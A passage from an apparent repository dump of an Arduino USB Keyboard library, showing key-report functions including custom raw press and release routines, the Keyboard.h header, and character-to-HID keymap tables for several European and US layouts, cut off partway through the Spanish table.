a non-printing key (not a modifier)\n\t\tk = k - 136;\n\t}\n\t}\n\t}\n\n\t// Test the key report to see if k is present.  Clear it if it exists.\n\t// Check all positions in case the key is present more than once (which it shouldn't be)\n\tfor (i=0; i<6; i++) {\n\t\tif (0 != k && _keyReport.keys[i] == k) {\n\t\t\t_keyReport.keys[i] = 0x00;\n\t\t}\n\t}\n\n\tsendReport(&_keyReport);\n\treturn 1;\n}\n\n//////Joel\n\nsize_t Keyboard_::rawrelease(uint8_t k, uint8_t rawmodifiers)\n{\n\tuint8_t i;\n\n/*\n\tif(k>=0xB0 && k<=0xDA){\t\t\t//it's a non-printing key\n\t\tif(k>=0xB5 && k<=0xBE){\t\t//0xB5-0xBE reserved for special non printing keys asigned manually\n\t\t\tif(k==0xB5) k=0x65;\t//0xB5 ==> 0x76 (MENU key)\n\t\t\tif(k==0xB6) k=0x46;\t//0xB6 ==> 0x46 (PRINT Scr key)\n\t\t}\n\t\telse{\n\t\t\tk = k - 136;\n\t\t}\n\t}\n\telse {\n\tif(k>=0x80 && k<=0x87){\t\t\t//it's a modifier\n\t\t_keyReport.modifiers &= ~(1<<(k-128));\n\t\tk = 0;\n\t}\n\telse{\t\t\t\t\t//it's a printable key\n\n\tk = pgm_read_byte(_asciimap + k);\n\n\tif (k & 0x80) {\t\t\t\t\t// it's a capital letter or other character reached with shift\n\t\t_keyReport.modifiers &= ~(0x02);\t// the left shift modifier\n\t\tk &= 0x7F;\n\t}\n\tif (k & 0x40) {\n\t\t_keyReport.modifiers &= ~(0x40);       // the altgr shift modifier\n\t\tk &= 0x3F;\n\t}\n\tif (k == 0x03) { // special case 0x64\n\t\tk = 0x64;\n\t}\n\n\tif (k >= 136) {\t\t\t// it's a non-printing key (not a modifier)\n\t\tk = k - 136;\n\t}\n\t}\n\t}\n*/\n\n\t_keyReport.modifiers = rawmodifiers;\n\n\t// Test the key report to see if k is present.  Clear it if it exists.\n\t// Check all positions in case the key is present more than once (which it shouldn't be)\n\tfor (i=0; i<6; i++) {\n\t\tif (0 != k && _keyReport.keys[i] == k) {\n\t\t\t_keyReport.keys[i] = 0x00;\n\t\t}\n\t}\n\n\tsendReport(&_keyReport);\n\treturn 1;\n}\n\n\nvoid Keyboard_::releaseAll(void)\n{\n\t_keyReport.keys[0] = 0;\n\t_keyReport.keys[1] = 0;\t\n\t_keyReport.keys[2] = 0;\n\t_keyReport.keys[3] = 0;\t\n\t_keyReport.keys[4] = 0;\n\t_keyReport.keys[5] = 0;\t\n\t_keyReport.modifiers = 0;\n\tsendReport(&_keyReport);\n}\n\nsize_t Keyboard_::write(uint8_t c)\n{\t\n\tuint8_t p = press(c);  // Keydown\n\trelease(c);            // Keyup\n\treturn p;              // just return the result of press() since release() almost always returns 1\n}\n\nKeyboard_ Keyboard;\n\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/Keyboard.h",
    "content": "/*\n  Keyboard.h\n\n  Copyright (c) 2015, Arduino LLC\n  Original code (pre-library): Copyright (c) 2011, Peter Barrett\n\n  This library is free software; you can redistribute it and/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*/\n\n#ifndef KEYBOARD_h\n#define KEYBOARD_h\n\n/*\nKeyboard layout configuration\n\nYou can use:\n- kbd_be_be\n- kbd_cz_cz\n- kbd_da_dk\n- kbd_de_de\n- kbd_en_us\n- kbd_es_es\n- kbd_fi_fi\n- kbd_fr_fr\n- kbd_it_it\n- kbd_pt_pt\n- kbd_tr_tr\n\nOnly es_es and en_us are full-tested.\n\n */\n\n//#define kbd_en_us\n\n#include \"HID.h\"\n\n#if !defined(_USING_HID)\n\n#warning \"Using legacy HID core (non pluggable)\"\n\n#else\n\n//================================================================================\n//================================================================================\n//  Keyboard\n\n#define KEY_LEFT_CTRL   0x80\n#define KEY_LEFT_SHIFT  0x81\n#define KEY_LEFT_ALT    0x82\n#define KEY_LEFT_GUI    0x83\n#define KEY_RIGHT_CTRL  0x84\n#define KEY_RIGHT_SHIFT 0x85\n#define KEY_RIGHT_ALT   0x86\n#define KEY_RIGHT_GUI   0x87\n\n#define KEY_UP_ARROW     0xDA\n#define KEY_DOWN_ARROW   0xD9\n#define KEY_LEFT_ARROW   0xD8\n#define KEY_RIGHT_ARROW  0xD7\n#define KEY_MENU         0xFE\n#define KEY_SPACE        0x20\n#define KEY_BACKSPACE    0xB2\n#define KEY_TAB          0xB3\n#define KEY_RETURN       0xB0\n#define KEY_ESC          0xB1\n#define KEY_INSERT       0xD1\n#define KEY_DELETE       0xD4\n#define KEY_HOME         0xD2\n#define KEY_END          0xD5\n#define KEY_F1           0xC2\n#define KEY_F2           0xC3\n#define KEY_F3           0xC4\n#define KEY_F4           0xC5\n#define KEY_F5           0xC6\n#define KEY_F6           0xC7\n#define KEY_F7           0xC8\n#define KEY_F8           0xC9\n#define KEY_F9           0xCA\n#define KEY_F10          0xCB\n#define KEY_F11          0xCC\n#define KEY_F12          0xCD\n#define KEY_F13          0xF0\n#define KEY_F14          0xF1\n#define KEY_F15          0xF2\n#define KEY_F16          0xF3\n#define KEY_F17          0xF4\n#define KEY_F18          0xF5\n#define KEY_F19          0xF6\n#define KEY_F20          0xF7\n#define KEY_F21          0xF8\n#define KEY_F22          0xF9\n#define KEY_F23          0xFA\n#define KEY_F24          0xFB\n#define KEY_PRINT_SCREEN 0xCE\n#define KEY_PAUSE        0xD0\n\n\n//  Low level key report: up to 6 keys and shift, ctrl etc at once\ntypedef struct\n{\n  uint8_t modifiers;\n  uint8_t reserved;\n  uint8_t keys[6];\n} KeyReport;\n\nclass Keyboard_ : public Print\n{\nprivate:\n  KeyReport _keyReport;\n  void sendReport(KeyReport* keys);\npublic:\n  Keyboard_(void);\n  void begin(void);\n  void end(void);\n  size_t write(uint8_t k);\n  size_t press(uint8_t k);\n  size_t release(uint8_t k);\n  size_t rawpress(uint8_t k, uint8_t rawmodifiers);\n  size_t rawrelease(uint8_t k, uint8_t rawmodifiers);\n  void releaseAll(void);\n};\nextern Keyboard_ Keyboard;\n\n#endif\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/be_be.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n   0x00,             // NUL\n   0x00,             // SOH\n   0x00,             // STX\n   0x00,             // ETX\n   0x00,             // EOT\n   0x00,             // ENQ\n   0x00,             // ACK\n   0x00,             // BEL\n   0x2a,      // BS  Backspace\n   0x2b,      // TAB  Tab\n   0x28,      // LF  Enter\n   0x00,             // VT\n   0x00,             // FF\n   0x00,             // CR\n   0x00,             // SO\n   0x00,             // SI\n   0x00,             // DEL\n   0x00,             // DC1\n   0x00,             // DC2\n   0x00,             // DC3\n   0x00,             // DC4\n   0x00,             // NAK\n   0x00,             // SYN\n   0x00,             // ETB\n   0x00,             // CAN\n   0x00,             // EM\n   0x00,             // SUB\n   0x00,             // ESC\n   0x00,             // FS\n   0x00,             // GS\n   0x00,             // RS\n   0x00,             // US\n   0x2c,       //  ' '\n   0x25,           // !\n   0x20,          // \"\n   0x20,          // #\n   0x30,          // $\n   0x34|SHIFT,    // %\n   0x1e,          // &\n   0x21,          // '\n   0x22,          // (\n   0x2d,          // )\n   0x30|SHIFT,          // *\n   0x38|SHIFT,    // +\n   0x10,          // ,\n   0x2e,          // -\n   0x36|SHIFT,    // .\n   0x37|SHIFT,    // /\n   0x27|SHIFT,    // 0\n   0x1e|SHIFT,    // 1\n   0x1f|SHIFT,    // 2\n   0x20|SHIFT,    // 3\n   0x21|SHIFT,    // 4\n   0x22|SHIFT,    // 5\n   0x23|SHIFT,    // 6\n   0x24|SHIFT,    // 7\n   0x25|SHIFT,    // 8\n   0x26|SHIFT,    // 9\n   0x37,            // :\n   0x36,          // ;\n   0x64,            // <\n   0x38,          // =\n   0x64|SHIFT,      // >\n   0x10|SHIFT,      // ?\n   0x27,            // @\n   0x14|SHIFT,      // A\n   0x05|SHIFT,      // B\n   0x06|SHIFT,      // C\n   0x07|SHIFT,      // D\n   0x08|SHIFT,      // E\n   0x09|SHIFT,      // F\n   0x0a|SHIFT,      // G\n   0x0b|SHIFT,      // H\n   0x0c|SHIFT,      // I\n   0x0d|SHIFT,      // J\n   0x0e|SHIFT,      // K\n   0x0f|SHIFT,      // L\n   0x33|SHIFT,      // M\n   0x11|SHIFT,      // N\n   0x12|SHIFT,      // O\n   0x13|SHIFT,      // P\n   0x04|SHIFT,      // Q\n   0x15|SHIFT,      // R\n   0x16|SHIFT,      // S\n   0x17|SHIFT,      // T\n   0x18|SHIFT,      // U\n   0x19|SHIFT,      // V\n   0x1d|SHIFT,      // W\n   0x1b|SHIFT,      // X\n   0x1c|SHIFT,      // Y\n   0x1a|SHIFT,      // Z\n   0x22,          // [\n   0x64,          // bslash\n   0x30,          // ]\n   0x22,          // ^\n   0x2e|SHIFT,          // _\n   0x24,          // `\n   0x14,          // a\n   0x05,          // b\n   0x06,          // c\n   0x07,          // d\n   0x08,          // e\n   0x09,          // f\n   0x0a,          // g\n   0x0b,          // h\n   0x0c,          // i\n   0x0d,          // j\n   0x0e,          // k\n   0x0f,          // l\n   0x33,          // m\n   0x11,          // n\n   0x12,          // o\n   0x13,          // p\n   0x04,          // q\n   0x15,          // r\n   0x16,          // s\n   0x17,          // t\n   0x18,          // u\n   0x19,          // v\n   0x1d,          // w\n   0x1b,          // x\n   0x1c,          // y\n   0x1a,          // z\n   0x21,    // {\n   0x1e,    // |\n   0x27,    // }\n   0x38,    // ~\n   0        // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/cz_cz.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n\t0x00,             // NUL\n\t0x00,             // SOH\n\t0x00,             // STX\n\t0x00,             // ETX\n\t0x00,             // EOT\n\t0x00,             // ENQ\n\t0x00,             // ACK  \n\t0x00,             // BEL\n\t0x2a,\t\t\t// BS\tBackspace\n\t0x2b,\t\t\t// TAB\tTab\n\t0x28,\t\t\t// LF\tEnter\n\t0x00,             // VT \n\t0x00,             // FF \n\t0x00,             // CR \n\t0x00,             // SO \n\t0x00,             // SI \n\t0x00,             // DEL\n\t0x00,             // DC1\n\t0x00,             // DC2\n\t0x00,             // DC3\n\t0x00,             // DC4\n\t0x00,             // NAK\n\t0x00,             // SYN\n\t0x00,             // ETB\n\t0x00,             // CAN\n\t0x00,             // EM \n\t0x00,             // SUB\n\t0x00,             // ESC\n\t0x00,             // FS \n\t0x00,             // GS \n\t0x00,             // RS \n\t0x00,             // US \n\n\t0x2c,\t\t   //  ' '\n\t0x34|SHIFT,\t   // !\n\t0x33|SHIFT,\t   // \"\n\t0x1b,    // #\n\t0x33,    // $\n\t0x2d|SHIFT,    // %\n\t0x06,    // &\n\t0x31|SHIFT,          // '\n\t0x30|SHIFT,    // (\n\t0x30,    // )\n\t0x38,    // *\n    0x1e,    // +\n\t0x36,          // ,\n\t0x38,          // -\n\t0x37,          // .\n\t0x2f|SHIFT,          // /\n\t0x27|SHIFT,          // 0\n\t0x1e|SHIFT,          // 1\n\t0x1f|SHIFT,          // 2\n\t0x20|SHIFT,          // 3\n\t0x21|SHIFT,          // 4\n\t0x22|SHIFT,          // 5\n\t0x23|SHIFT,          // 6\n\t0x24|SHIFT,          // 7\n\t0x25|SHIFT,          // 8\n\t0x26|SHIFT,          // 9\n\t0x37|SHIFT,      // :\n\t0x35,          // ;\n\t0x36,      // <\n\t0x2d,          // =\n\t0x37,      // >\n\t0x36|SHIFT,      // ?\n\t0x19,      // @\n\t0x04|SHIFT,      // A\n\t0x05|SHIFT,      // B\n\t0x06|SHIFT,      // C\n\t0x07|SHIFT,      // D\n\t0x08|SHIFT,      // E\n\t0x09|SHIFT,      // F\n\t0x0a|SHIFT,      // G\n\t0x0b|SHIFT,      // H\n\t0x0c|SHIFT,      // I\n\t0x0d|SHIFT,      // J\n\t0x0e|SHIFT,      // K\n\t0x0f|SHIFT,      // L\n\t0x10|SHIFT,      // M\n\t0x11|SHIFT,      // N\n\t0x12|SHIFT,      // O\n\t0x13|SHIFT,      // P\n\t0x14|SHIFT,      // Q\n\t0x15|SHIFT,      // R\n\t0x16|SHIFT,      // S\n\t0x17|SHIFT,      // T\n\t0x18|SHIFT,      // U\n\t0x19|SHIFT,      // V\n\t0x1a|SHIFT,      // W\n\t0x1b|SHIFT,      // X\n\t0x1d|SHIFT,      // Y\n\t0x1c|SHIFT,      // Z\n\t0x09,          // [\n\t0x14,          // bslash\n\t0x0a,          // ]\n\t0x23|SHIFT,    // ^\n\t0x38|SHIFT,    // _\n\t0x35,          // `\n\t0x04,          // a\n\t0x05,          // b\n\t0x06,          // c\n\t0x07,          // d\n\t0x08,          // e\n\t0x09,          // f\n\t0x0a,          // g\n\t0x0b,          // h\n\t0x0c,          // i\n\t0x0d,          // j\n\t0x0e,          // k\n\t0x0f,          // l\n\t0x10,          // m\n\t0x11,          // n\n\t0x12,          // o\n\t0x13,          // p\n\t0x14,          // q\n\t0x15,          // r\n\t0x16,          // s\n\t0x17,          // t\n\t0x18,          // u\n\t0x19,          // v\n\t0x1a,          // w\n\t0x1b,          // x\n\t0x1d,          // y\n\t0x1c,         // z\n\t0x05,    // {\n\t0x1a,    // |\n\t0x11,    // }\n\t0x1e,    // ~\n\t0\t\t\t\t// DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/da_dk.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n\n  0x2c,       //  ' '\n  0x1e|SHIFT,     // !\n  0x1f|SHIFT,     // \"\n  0x20|SHIFT,    // #\n  0x21,          // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x31,          // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x31|SHIFT,    // *\n  0x2d,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,    // :\n  0x36|SHIFT,    // ;\n  0x64,          // <\n  0x27|SHIFT,      // =\n  0x64|SHIFT,      // >\n  0x2d|SHIFT,      // ?\n  0x1f,            // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x25,          // [\n  0x64,          // bslash\n  0x26,          // ]\n  0x30|SHIFT,    // ^\n  0x38|SHIFT,    // _\n  0x2e|SHIFT,    // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x24,          // {\n  0x2e,          // |\n  0x27,          // }\n  0x30,          // ~\n  0        // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/de_de.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL          0\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter           10\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4          20\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS           30\n  0x00,             // US\n\n  0x2c,          //  ' '\n  0x1e|SHIFT,    // !\n  0x1f|SHIFT,    // \"\n  0x31,          // #\n  0x21|SHIFT,    // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x31|SHIFT,    // '\n  0x25|SHIFT,    // (               40\n  0x26|SHIFT,    // )\n  0x30|SHIFT,    // *\n  0x30,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2               50\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,      // :\n  0x36|SHIFT,      // ;\n  0x64,            // <             60\n  0x27|SHIFT,      // =\n  0x64|SHIFT,      // > \n  0x2d|SHIFT,      // ?\n  0x14,            // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F             70\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P             80\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1d|SHIFT,      // Y\n  0x1c|SHIFT,      // Z             90\n  0x25,          // [\n  0x2d,          // bslash\n  0x26,          // ]\n  0x35,          // ^\n  0x38|SHIFT,    // _\n  0x2e|SHIFT,    // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d               100\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n               110\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x               120\n  0x1d,          // y\n  0x1c,          // z\n  0x24,          // {\n  0x64,          // |\n  0x27,          // }\n  0x30,    // ~\n  0        // DEL                   127\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/en_us.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n#define SHIFT 0x80\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n\n  0x2c,       //  ' '\n  0x1e|SHIFT,     // !\n  0x34|SHIFT,     // \"\n  0x20|SHIFT,    // #\n  0x21|SHIFT,    // $\n  0x22|SHIFT,    // %\n  0x24|SHIFT,    // &\n  0x34,          // '\n  0x26|SHIFT,    // (\n  0x27|SHIFT,    // )\n  0x25|SHIFT,    // *\n  0x2e|SHIFT,    // +\n  0x36,          // ,\n  0x2d,          // -\n  0x37,          // .\n  0x38,          // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x33|SHIFT,      // :\n  0x33,          // ;\n  0x36|SHIFT,      // <\n  0x2e,          // =\n  0x37|SHIFT,      // >\n  0x38|SHIFT,      // ?\n  0x1f|SHIFT,      // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x2f,          // [\n  0x31,          // bslash\n  0x30,          // ]\n  0x23|SHIFT,    // ^\n  0x2d|SHIFT,    // _\n  0x35,          // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x2f|SHIFT,    // {\n  0x31|SHIFT,    // |\n  0x30|SHIFT,    // }\n  0x35|SHIFT,    // ~\n  0        // DEL\n};\n#endif\n"
  },
  {
    "path": "libraries/Keyboard/src/es_es.h",
    "content": "#ifndef _kbd_lang\n#define _kbd_lang\n\nextern\nconst uint8_t _asciimap[256] PROGMEM;\n\n\n#define SHIFT 0x80\n#define ALTGR 0x40\nconst uint8_t _asciimap[256] =\n{\n  0x00,             // NUL\n  0x00,             // SOH\n  0x00,             // STX\n  0x00,             // ETX\n  0x00,             // EOT\n  0x00,             // ENQ\n  0x00,             // ACK\n  0x00,             // BEL\n  0x2a,      // BS  Backspace\n  0x2b,      // TAB  Tab\n  0x28,      // LF  Enter\n  0x00,             // VT\n  0x00,             // FF\n  0x00,             // CR\n  0x00,             // SO\n  0x00,             // SI\n  0x00,             // DEL\n  0x00,             // DC1\n  0x00,             // DC2\n  0x00,             // DC3\n  0x00,             // DC4\n  0x00,             // NAK\n  0x00,             // SYN\n  0x00,             // ETB\n  0x00,             // CAN\n  0x00,             // EM\n  0x00,             // SUB\n  0x00,             // ESC\n  0x00,             // FS\n  0x00,             // GS\n  0x00,             // RS\n  0x00,             // US\n  0x2c,          //  ' ' (space)\n  0x1e|SHIFT,    // !\n  0x1f|SHIFT,    // \"\n  0x20|ALTGR,    // #\n  0x21|SHIFT,    // $\n  0x22|SHIFT,    // %\n  0x23|SHIFT,    // &\n  0x2d,          // '\n  0x25|SHIFT,    // (\n  0x26|SHIFT,    // )\n  0x30|SHIFT,    // *\n  0x30,          // +\n  0x36,          // ,\n  0x38,          // -\n  0x37,          // .\n  0x24|SHIFT,    // /\n  0x27,          // 0\n  0x1e,          // 1\n  0x1f,          // 2\n  0x20,          // 3\n  0x21,          // 4\n  0x22,          // 5\n  0x23,          // 6\n  0x24,          // 7\n  0x25,          // 8\n  0x26,          // 9\n  0x37|SHIFT,      // :\n  0x36|SHIFT,      // ;\n  0x03,            // < //KEY_NON_US_100\n  0x27|SHIFT,      // =\n  0x03|SHIFT,      // > //KEY_NON_US_100 + SHIFT\n  0x2d|SHIFT,      // ?\n  0x1f|ALTGR,      // @\n  0x04|SHIFT,      // A\n  0x05|SHIFT,      // B\n  0x06|SHIFT,      // C\n  0x07|SHIFT,      // D\n  0x08|SHIFT,      // E\n  0x09|SHIFT,      // F\n  0x0a|SHIFT,      // G\n  0x0b|SHIFT,      // H\n  0x0c|SHIFT,      // I\n  0x0d|SHIFT,      // J\n  0x0e|SHIFT,      // K\n  0x0f|SHIFT,      // L\n  0x10|SHIFT,      // M\n  0x11|SHIFT,      // N\n  0x12|SHIFT,      // O\n  0x13|SHIFT,      // P\n  0x14|SHIFT,      // Q\n  0x15|SHIFT,      // R\n  0x16|SHIFT,      // S\n  0x17|SHIFT,      // T\n  0x18|SHIFT,      // U\n  0x19|SHIFT,      // V\n  0x1a|SHIFT,      // W\n  0x1b|SHIFT,      // X\n  0x1c|SHIFT,      // Y\n  0x1d|SHIFT,      // Z\n  0x2f|ALTGR,      // [\n  0x35|ALTGR,      // bslash\n  0x30|ALTGR,      // ]\n  0x2f|SHIFT,    // ^\n  0x38|SHIFT,    // _\n  0x2f, \t // `\n  0x04,          // a\n  0x05,          // b\n  0x06,          // c\n  0x07,          // d\n  0x08,          // e\n  0x09,          // f\n  0x0a,          // g\n  0x0b,          // h\n  0x0c,          // i\n  0x0d,          // j\n  0x0e,          // k\n  0x0f,          // l\n  0x10,          // m\n  0x11,          // n\n  0x12,          // o\n  0x13,          // p\n  0x14,          // q\n  0x15,          // r\n  0x16,          // s\n  0x17,          // t\n  0x18,          // u\n  0x19,          // v\n  0x1a,          // w\n  0x1b,          // x\n  0x1c,          // y\n  0x1d,          // z\n  0x34|ALTGR,    // {\n  0x1e|ALTGR,    // |\n  0x32|ALTGR,    // }\n  0x21|ALTGR,    // ~\n  0x00,        // DEL\n  0x00,             // Ç Start extended ASCII\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,             // ç\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x33,             // ñ\n  0x33|SHIFT,       // Ñ\n  0x00,\n  0x00,\n  0x2e|SHIFT,       // ¿\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x2e,             // ¡\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  0x00,\n  